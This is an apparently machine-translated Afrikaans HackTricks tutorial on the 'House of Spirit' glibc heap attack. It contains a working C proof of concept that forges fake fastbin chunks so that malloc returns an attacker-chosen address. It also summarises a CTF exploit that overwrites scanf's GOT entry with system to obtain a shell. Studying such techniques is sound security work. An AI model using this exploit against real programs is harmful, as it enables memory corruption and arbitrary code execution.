# Huis van Gees
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
## Basiese Inligting ### Kode
Huis van Gees ```c #include #include #include #include // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim; ptr = malloc(0x30); printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]); // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd; free(ptr); victim = malloc(0x30); printf("Victim: %p\n", victim); return 0; } ```
### Doel * Wees in staat om 'n adres in die tcache / vinnige bin in te voeg sodat dit later geallokeer kan word ### Vereistes * Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar valse vinnige stukke te skep wat korrek die grootte daarvan aandui en dan die eerste valse stuk vry te stel sodat dit in die bin beland. ### Aanval * Skep valse stukke wat sekuriteitskontroles omseil: jy sal 2 valse stukke nodig hê wat basies die korrekte groottes op die regte posisies aandui * Op een of ander manier die eerste valse stuk vry te stel sodat dit in die vinnige of tcache bin beland en dit dan toewys om daardie adres te oorskryf **Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **is goed om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom: ```c /* this will be the structure of our two fake chunks: assuming that you compiled it for x64 +-------+---------------------+------+ | 0x00: | Chunk # 0 prev size | 0x00 | +-------+---------------------+------+ | 0x08: | Chunk # 0 size | 0x60 | +-------+---------------------+------+ | 0x10: | Chunk # 0 content | 0x00 | +-------+---------------------+------+ | 0x60: | Chunk # 1 prev size | 0x00 | +-------+---------------------+------+ | 0x68: | Chunk # 1 size | 0x40 | +-------+---------------------+------+ | 0x70: | Chunk # 1 content | 0x00 | +-------+---------------------+------+ for what we are doing the prev size values don't matter too much the important thing is the size values of the heap headers for our fake chunks */ ``` {% hint style="info" %} Let wel dat dit nodig is om die tweede blok te skep om sekere gesondheidskontroles te omseil. {% endhint %} ## Voorbeelde * CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) * **Libc infoleak**: Via 'n oorvloei is dit moontlik om 'n wyser te verander om na 'n GOT-adres te wys om 'n libc-adres te lek via die leesaksie van die CTF * **House of Spirit**: Deur 'n teller wat die aantal "gewere" tel te misbruik, is dit moontlik om 'n vals grootte van die eerste valse blok te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n blok vals te maak en uiteindelik deur 'n oorvloei te misbruik, is dit moontlik om 'n wyser te verander wat vrygestel gaan word sodat ons eerste valse blok vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om hierdie te laat wys na die `scanf` inskrywing binne die GOT-tabel, sodat ons dit kan oorskryf met die adres na stelsel.\ Volgende keer as `scanf` geroep word, kan ons die inset `"/bin/sh"` stuur en 'n skaal kry. ## Verwysings * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.